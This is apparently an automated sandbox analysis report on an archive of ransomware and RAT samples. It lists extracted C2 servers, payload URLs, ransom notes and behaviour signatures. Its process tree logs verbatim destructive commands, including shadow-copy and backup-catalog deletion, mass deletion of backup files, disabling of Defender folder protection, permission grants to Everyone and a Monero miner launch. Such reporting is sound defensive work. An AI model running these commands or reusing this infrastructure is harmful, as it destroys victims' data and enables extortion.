Overview

overview

10

Static

static

1

RNSM00435.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-10-2024 21:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00435.7z

  • Size

    7.2MB

  • MD5

    ebfbfabb47ffd00e16ebd8724c63adc5

  • SHA1

    bb9c0edec43860dc1e5610716b5bc7164bde37ba

  • SHA256

    fabdb10b28b5e0bd4c9b38be6292bc5966cb2dd2428486bad8f056fb4696be27

  • SHA512

    1b367064fd2f9fdf8bcaa787b1cdf4ff758fb7be875e466875b956a6d8607692843c7c12316a70671eb58480726513bad2217e0cbd292987143d22777855b101

  • SSDEEP

    196608:2zYGZc71m9mVl5WldX9NUc/g6thkfMLZfqoh4Za:6ZSm9mVl5WldTx2fMFBaZa

Score
10/10
crimsonratdjvugandcrablockbiturelasvanillaratvidarxmrig904backdoordefense_evasiondiscoveryevasionexecutionimpactminerpersistenceransomwareratspywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

crimsonrat

C2

64.188.25.232

Extracted

Family

djvu

C2

http://asvb.top/nddddhsspen6/get.php

Attributes
  • extension

    .pcqq

  • offline_id

    3pNdLH1399769YerBBKCxHURRAqLhaXsGw3Fbkt1

  • payload_url

    http://asvb.top/files/penelop/updatewin1.exe

    http://asvb.top/files/penelop/updatewin2.exe

    http://asvb.top/files/penelop/updatewin.exe

    http://asvb.top/files/penelop/3.exe

    http://asvb.top/files/penelop/4.exe

    http://asvb.top/files/penelop/5.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-TVrnNufMGq Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0296Sirj

rsa_pubkey.plain

Extracted

Path

C:\Program Files\dotnet\Restore-My-Files.txt

Family

lockbit

Ransom Note
All your important files are encrypted! Any attempts to restore your files with the thrid-party software will be fatal for your files! RESTORE YOU DATA POSIBLE ONLY BUYING private key from us. There is only one way to get your files back: 1) Through a standard browser(FireFox, Chrome, Edge, Opera) | 1. Open link http://lockbit-decryptor.top/?9AE2456EE17245AACA2CBD635B5B9B18 | 2. Follow the instructions on this page 2) Through a Tor Browser - recommended | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?9AE2456EE17245AACA2CBD635B5B9B18 This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about
URLs

http://lockbit-decryptor.top/?9AE2456EE17245AACA2CBD635B5B9B18

http://lockbitks2tvnmwk.onion/?9AE2456EE17245AACA2CBD635B5B9B18

Extracted

Family

vidar

Version

38.7

Botnet

904

C2

https://HAL9THapi.faceit.comramilgame

Attributes
  • profile_id

    904

Extracted

Family

urelas

C2

112.175.88.207

112.175.88.208

Signatures

  • CrimsonRAT main payload 1 IoCs
  • CrimsonRat

    Crimson RAT is a malware linked to a Pakistani-linked threat actor.

    ratcrimsonrat
  • Crimsonrat family
    crimsonrat
  • Detected Djvu ransomware 9 IoCs
  • Disables service(s) 3 TTPs
    evasionexecution
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

    ransomwaredjvu
  • Djvu family
    djvu
  • GandCrab payload 2 IoCs
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Gandcrab family
    gandcrab
  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Lockbit family
    lockbit
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Urelas

    Urelas is a trojan targeting card games.

    trojanurelas
  • Urelas family
    urelas
  • VanillaRat

    VanillaRat is an advanced remote administration tool coded in C#.

    ratvanillarat
  • Vanillarat family
    vanillarat
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Renames multiple (3303) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Vanilla Rat payload 2 IoCs
    rat
  • Vidar Stealer 1 IoCs
    stealer
  • XMRig Miner payload 8 IoCs
    miner
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 2 IoCs
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 47 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Modifies system executable filetype association 2 TTPs 13 IoCs
    persistence
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 9 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 4 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

    discovery
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 56 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Control Panel 4 IoCs
    evasion
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 6 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00435.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4740
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3704
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:900
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4640
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Checks computer location settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4108
      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-404274ad22b7fd6b96f9bc15221b4e51e92baedbb616aa544a684c38fcd69885.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-404274ad22b7fd6b96f9bc15221b4e51e92baedbb616aa544a684c38fcd69885.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:4384
        • C:\Users\Admin\AppData\Roaming\Services.exe
          "C:\Users\Admin\AppData\Roaming\Services.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:2272
          • C:\WINDOWS\System32\nslookup.exe
            C:\WINDOWS\System32\nslookup.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.2miners.com:2222 --user=46dBBki3MyQ36pHViG2pJtci9HiEaTaPx75YK8eH8nqhLseWa1zWtKACNKz4tvMtBkfFpwy4grhSjL83GV24qadmE33huf2 --pass= --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=80 --unam-stealth
            5⤵
              PID:2864
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-6d99e19a2bbf1a1e96e7dfcc2e38326e4015e924afa917e1333ffb44ab85ad44.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-6d99e19a2bbf1a1e96e7dfcc2e38326e4015e924afa917e1333ffb44ab85ad44.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4696
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-fd0e85a143dccc8cee5c7c52ab2dba3a931c368bafbc886d6589d7b725313e48.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-fd0e85a143dccc8cee5c7c52ab2dba3a931c368bafbc886d6589d7b725313e48.exe
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:540
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 540 -s 1904
            4⤵
            • Program crash
            PID:1804
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Encoder.gen-a3a72a6a267ef5b0ca2886ace87fb254b396efeef34b01f4858981140f1a1682.exe
          HEUR-Trojan-Ransom.MSIL.Encoder.gen-a3a72a6a267ef5b0ca2886ace87fb254b396efeef34b01f4858981140f1a1682.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • System policy modification
          PID:4776
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mohn5h45\mohn5h45.cmdline"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:6296
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3B2.tmp" "c:\Users\Admin\AppData\Local\Temp\mohn5h45\CSC723DC7E5A15C4DC0BDF878C0605AD31A.TMP"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5576
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2444
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4084
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3280
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config SQLTELEMETRY start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3348
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:6632
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4384
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5408
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6024
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-CimInstance Win32_ShadowCopy | Remove-CimInstance
            4⤵
            • System Location Discovery: System Language Discovery
            PID:6612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config SQLWriter start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6556
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config SstpSvc start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4860
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config MBAMService start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6780
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:1564
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
            4⤵
            • System Location Discovery: System Language Discovery
            PID:6624
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c rd /s /q D:\\$Recycle.bin
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5068
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config SSDPSRV start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6716
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config FDResPub start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4356
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config fdPHost start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6320
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config Dnscache start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:288
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" config upnphost start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:7028
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\netsh.exe" advfirewall firewall set rule group="Network Discovery" new enable=Yes
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5908
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\netsh.exe" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
            4⤵
            • Executes dropped EXE
            PID:2832
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
            4⤵
            • Executes dropped EXE
            PID:4464
          • C:\Windows\SysWOW64\mountvol.exe
            "mountvol.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:6244
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\mountvol.exe" A: \\?\Volume{0576a638-0000-0000-0000-100000000000}\
            4⤵
            • Executes dropped EXE
            PID:652
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\mountvol.exe" B: \\?\Volume{0576a638-0000-0000-0000-d01200000000}\
            4⤵
            • Executes dropped EXE
            PID:4740
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\mountvol.exe" E: \\?\Volume{0576a638-0000-0000-0000-f0ff3a000000}\
            4⤵
            • Executes dropped EXE
            PID:6724
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\mountvol.exe" G: \\?\Volume{a31980c4-84ce-11ef-af16-806e6f6e6963}\
            4⤵
            • Executes dropped EXE
            PID:2600
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\icacls.exe" "C:*" /grant Everyone:F /T /C /Q
            4⤵
            • Executes dropped EXE
            PID:2852
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\icacls.exe" "Z:*" /grant Everyone:F /T /C /Q
            4⤵
            • Executes dropped EXE
            PID:6524
          • C:\Windows\SysWOW64\shell.exe
            "C:\Windows\system32\shell.exe" "C:\Windows\System32\icacls.exe" "D:*" /grant Everyone:F /T /C /Q
            4⤵
            • Executes dropped EXE
            PID:5580
          • C:\Windows\SysWOW64\arp.exe
            "arp" -a
            4⤵
            • Network Service Discovery
            • System Location Discovery: System Language Discovery
            PID:6424
          • C:\Windows\SysWOW64\net.exe
            "net.exe" view
            4⤵
            • System Location Discovery: System Language Discovery
            • Discovers systems in the same network
            PID:1496
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Foreign.gen-a01dc7b3599b680aaf57c8b1d4b1a20575c720bfe04f339748eb0f9194fcfffc.exe
          HEUR-Trojan-Ransom.MSIL.Foreign.gen-a01dc7b3599b680aaf57c8b1d4b1a20575c720bfe04f339748eb0f9194fcfffc.exe
          3⤵
          • Executes dropped EXE
          PID:3156
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Convagent.gen-581af25d67022dadaf32cf3986bd5a79f4a7f822da606f89e3fd4acc90814163.exe
          HEUR-Trojan-Ransom.Win32.Convagent.gen-581af25d67022dadaf32cf3986bd5a79f4a7f822da606f89e3fd4acc90814163.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4312
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 1812
            4⤵
            • Program crash
            PID:1896
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-612278239c759c6f8fa512a6b48887e502f4c989987c574213485b1eb318b545.exe
          HEUR-Trojan-Ransom.Win32.GandCrypt.gen-612278239c759c6f8fa512a6b48887e502f4c989987c574213485b1eb318b545.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3772
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3772 -s 480
            4⤵
            • Program crash
            PID:536
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Generic-666429fe4ba3e37dd40b17c00c65544e7f6f67746eddcb613a9fc9cc15eb7538.exe
          HEUR-Trojan-Ransom.Win32.Generic-666429fe4ba3e37dd40b17c00c65544e7f6f67746eddcb613a9fc9cc15eb7538.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Users\Admin\Desktop\00435\test.exe
            "C:\Users\Admin\Desktop\00435\test.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:244
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Lockbit.vho-ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30.exe
          HEUR-Trojan-Ransom.Win32.Lockbit.vho-ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Enumerates connected drives
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3944
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3204
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:3684
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:6980
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:6796
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:6824
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              5⤵
              • Deletes backup catalog
              PID:6856
        • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
          HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3328
          • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
            HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4480
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Users\Admin\AppData\Local\ecc3850c-a3f1-4e9f-bf3e-e16dac3f83c4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:6048
            • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
              "C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe" --Admin IsNotAutoStart IsNotTask
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1660
              • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
                "C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe" --Admin IsNotAutoStart IsNotTask
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5844
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Blocker.kpuo-66b07beba5134219026b83039d15879522dca7f4d9e8b901fd083a045fd08ff0.exe
          Trojan-Ransom.Win32.Blocker.kpuo-66b07beba5134219026b83039d15879522dca7f4d9e8b901fd083a045fd08ff0.exe
          3⤵
          • Modifies WinLogon for persistence
          • Modifies visibility of file extensions in Explorer
          • Modifies visiblity of hidden/system files in Explorer
          • Disables RegEdit via registry modification
          • Drops startup file
          • Executes dropped EXE
          • Modifies system executable filetype association
          • Adds Run key to start application
          • Drops desktop.ini file(s)
          • Enumerates connected drives
          • Drops file in System32 directory
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Modifies Control Panel
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          • System policy modification
          PID:3548
          • C:\Windows\xk.exe
            C:\Windows\xk.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5916
          • C:\Windows\SysWOW64\IExplorer.exe
            C:\Windows\system32\IExplorer.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5468
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:6276
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5248
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:6668
